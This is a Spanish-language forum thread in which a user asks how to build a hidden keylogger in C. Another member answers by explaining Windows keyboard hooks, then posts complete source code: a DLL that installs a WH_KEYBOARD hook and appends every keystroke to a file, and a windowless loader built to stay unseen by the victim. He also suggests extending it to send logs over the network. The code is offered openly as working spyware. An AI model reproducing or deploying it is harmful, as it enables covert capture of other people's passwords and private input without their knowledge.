Resultados 1 al 11 de 11

Ocultamiento y Keylog en C

  1. #1 Ocultamiento y Keylog en C 
    Zz Xploit zZ
    Invitado
    Buenas a todos. Soy nuevo en el foro.

    Queria estrenarlo preguntandoles:
    ¿cual es la funcion que me permite grabar (para un keylogger) teclas presionadas por el usuario. Estoy hablando en C.
    A lo que me refiero es a mantener tambien el programa ejecutandose en segundo plano.
    Eso del "exit(0)" ???, pero no hace nada, solo queda en segundo plano!.
    No se si se podra con la simple shell, talvez necesite saber C++, eso se lo dejo a ustedes.

    Saludos Atte
    Citar  
     

  2. #2  
    Avanzado
    Fecha de ingreso
    Nov 2002
    Ubicación
    Ciudad de México
    Mensajes
    296
    Descargas
    0
    Uploads
    0
    Para lo del keylogger estudiate los hooks de la winapi.
    Scar_T
    Citar  
     

  3. #3  
    Zz Xploit zZ
    Invitado
    mmm,, mas informacion?
    Citar  
     

  4. #4  
    Avanzado
    Fecha de ingreso
    Nov 2002
    Ubicación
    Ciudad de México
    Mensajes
    296
    Descargas
    0
    Uploads
    0
    Un hook es una función que puedes colocar en el sistema de manejo de mensajes de windows (espero conozcas algo de esto, para que sepas a que me refiero). Cuando algún evento ocurre, por ej. de teclado, si hay un hook instalado, windows primero llamará a esta subrutina antes de emitir el mensaje. La función hook no solo puede examinar el mensaje sino también alterarlo, es decir, si el usuario presiono la 'a' la función hook puede hacer parecer que se mando una 'z' por ejemplo.

    Esta función hook la debes usar de un forma "adecuada", ya que podrías alentar la computadora donde este instalado tu keylogger.

    Por último, esta función debe estar en una dll (si alguien sabe porqué por favor expliquemelo, nunca he sabido porqué).
    Scar_T
    Citar  
     

  5. #5 Faqfa 
    Zz Xploit zZ
    Invitado
    Bueno, gracias por la informacion. Yo lamentablemente no se C++, a pesar de tener devcpp. Se me hace muy dificil y todavia no me he puesto. Pero buenio entonces quiere decir que si o si lo tenes que hacer con C++ y no se puede con C, que era mi objetivo.
    Buen, a ver si alguno mas escribe sobre keyloggers.

    Otra cosa de lo que no me dijiste nada es del tema del trabajo en "tercer" plano del programa. O sea como es eso del Exit(0), ¿sigue trabajando el programa?
    Citar  
     

  6. #6  
    Avanzado
    Fecha de ingreso
    Nov 2002
    Ubicación
    Ciudad de México
    Mensajes
    296
    Descargas
    0
    Uploads
    0
    De hecho si lo puedes hacer con C . Y lo del exit(0) no te lo dije porque no lo se ^_^
    Scar_T
    Citar  
     

  7. #7  
    Zz Xploit zZ
    Invitado
    ahhh, y sabes como hacerlo simplemente desde C ????
    Citar  
     

  8. #8  
    Moderador HH
    Fecha de ingreso
    Dec 2001
    Ubicación
    España
    Mensajes
    836
    Descargas
    2
    Uploads
    0
    Xploit yo acabo de mirar por inet y encontré esto, a ver si t sirve yo ya le he hexado un ojo y se entiende bastante bien.

    -Un punto a destacar es que un hook es un proceso en tiempo real, osea q se instalara el hook justo al crear el proceso.
    -Toma pocos recursos del pc y casi no consume tiempo de CPU.

    Aqui tienes el link (esta en inglés).

    Un saludo,
    KaoS
    Normas Del Foro | En la comunidad ayudamos a resolver problemas, solo pedimos paciencia y cabeza.
    Más información sobre mi: Raúl Jiménez
    Citar  
     

  9. #9  
    Avanzado
    Fecha de ingreso
    Nov 2002
    Ubicación
    Ciudad de México
    Mensajes
    296
    Descargas
    0
    Uploads
    0
    Hice un pequeño ejemplo que espero ayude a comprender un poco esto (inclusive lo pueden tomar como mini tutorial ):

    Comencemos con la DLL:

    Código:
    #include <windows.h>
    
    #include <stdio.h>
    #include <stdlib.h>
    
    #include "kllib.h"
    
    HINSTANCE hInstDLL; //Instancia de nuestra DLL
    HHOOK     gHook;	//Handle del hook
    
    
    //Funcion para escribir nuestro log
    void EscribeLog(char *cadena, ...) {
    	FILE *fmt;
    	va_list args;
    	char buffer[1024] = {0};
    
    	va_start(args, cadena);
    
    	vsprintf(buffer, cadena, args);
    
    	va_end(args);
    
    	fmt = fopen("c:\\salida.txt", "a");
    
    	fprintf(fmt, buffer);
    
    	fclose(fmt);
    }
    
    //Esta es la funcion Hook
    LRESULT CALLBACK KbProc(int code, WPARAM wParam, LPARAM lParam) {
    	char key;
    
    	//Si code es menor a cero, no hacemos nada (como lo dice la documentacion)
    	if(code<0) return CallNextHookEx(gHook, code, wParam, lParam);
    
    	//Verificamos que wParam y lParam contengan informacion
    	if(code==HC_ACTION) {
    		//En wParam se guarda la tecla presionada
    		//Aqui hace falta algo de trabajo para darle formato al codigo que windows
    		//envia.
    		key = (char) wParam;
    		
    		EscribeLog("%c", key);
    	}
    
    	return CallNextHookEx(gHook, code, wParam, lParam);
    }
    
    //Esta funcion instala el hook
    BOOL IniciarKbL() {
    
    	//Le decimos a windows que queremos instalar un hook para teclado.
    	gHook = SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC)KbProc, hInstDLL, NULL);
    
    	//Verificamos que se haya instalado correctamente.
    	if(gHook == NULL) {return FALSE;}
    
    	return TRUE;
    }
    
    //Esta funcion desinstala el hook
    void TerminarKbL() {
    	//Lo desinstalamos :)
    	UnhookWindowsHookEx(gHook);
    }
    
    BOOL APIENTRY DllMain(HANDLE hModule, DWORD dwReason, LPVOID lpReserved)
    {
    	hInstDLL = (HINSTANCE)hModule;
    	return TRUE;
    }

    He aqui el archivo de cabecera en cuestion:

    Código:
    #ifndef KLLIBH
    #define KLLIBH
    
    LRESULT CALLBACK KbProc(int code, WPARAM wParam, LPARAM lParam);
    
    BOOL IniciarKbL();
    void TerminarKbL();
    
    #endif
    Con eso terminamos la DLL, ahora hacemos un programita para usarla .

    Código:
    #include <windows.h>
    
    #include "kllib.h"
    
    //La hago con WinMain para permanecer "oculto" (claro a menos que vean los procesos :)),
    //de este modo windows no crea ninguna consola porque espera que cree mi ventana principal
    //cosa que nunca hago ^_^, asi no hay evidencia para un usuario comun de que estamos ahi ;).
    
    int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPInst, LPSTR lpCmd, int nShow) {
    	
    	//Instalamos el hook
    	if(IniciarKbL() == FALSE) return -1;
    
    	//Un bucle infinito para permanecer en memoria. Ahora la funcion que trabaja es la
    	//funcion hook, que windows llama.
    	while(1) {
    		//Mandamos a dormir a la aplicacion un rato para no ocupar todo el procesador
    		//y no alentar la maquina.
    		Sleep(500);
    	}
    
    	//Desinstalamos el hook :).
    	TerminarKbL();
    
    	return 0;
    }
    Este es un keylogger funcional, pero como se darán cuenta, si lo compilan, es bastante malo, pero creo que cumple con el objetivo de mostrar como hacer un keylogger en C.

    Ahora solo falta que revisen un poco la doc. de la WinAPI para mejorar el keylogger y formatee correctamente los mensajes del teclado, luego lo mejoran para que funcione en Red .

    Si tienen dudas, y las puedo contestar con gusto lo hare .

    Ah se me olvidaba, por lo malo que es , para cerrarlo tendran que ver los procesos actuales (Ctrl+Alt+Supr) y cerrarlo desde ahi, disculpen las molestias.
    Última edición por Scar_T; 02-07-2004 a las 22:18
    Scar_T
    Citar  
     

  10. #10  
    Moderador HH
    Fecha de ingreso
    Dec 2001
    Ubicación
    España
    Mensajes
    836
    Descargas
    2
    Uploads
    0
    Muy buenas Scar_t, gracias por tu splicacion, te contare como me va eso

    Un saludo y gracias
    KaoS
    Normas Del Foro | En la comunidad ayudamos a resolver problemas, solo pedimos paciencia y cabeza.
    Más información sobre mi: Raúl Jiménez
    Citar  
     

  11. #11  
    Zz Xploit zZ
    Invitado
    Buieno, gracias muchachos, ahora le voy a dar un vistazo.
    Citar  
     

Temas similares

  1. Ocultamiento de Mac e IP
    Por Selenito en el foro GENERAL
    Respuestas: 2
    Último mensaje: 04-06-2014, 18:32
  2. ocultamiento mediante stream
    Por muricama en el foro GENERAL
    Respuestas: 4
    Último mensaje: 15-04-2008, 10:45
  3. Necesito el SC-Keylog Pro 3.1 con Licencia Urgente
    Por Illusion en el foro GENERAL
    Respuestas: 1
    Último mensaje: 04-04-2007, 19:44
  4. Keylog en windows
    Por ShadowS en el foro GENERAL
    Respuestas: 2
    Último mensaje: 22-09-2006, 00:38
  5. Ocultamiento de IP
    Por stealth en el foro APLICACIONES
    Respuestas: 6
    Último mensaje: 13-05-2006, 16:35

Marcadores

Marcadores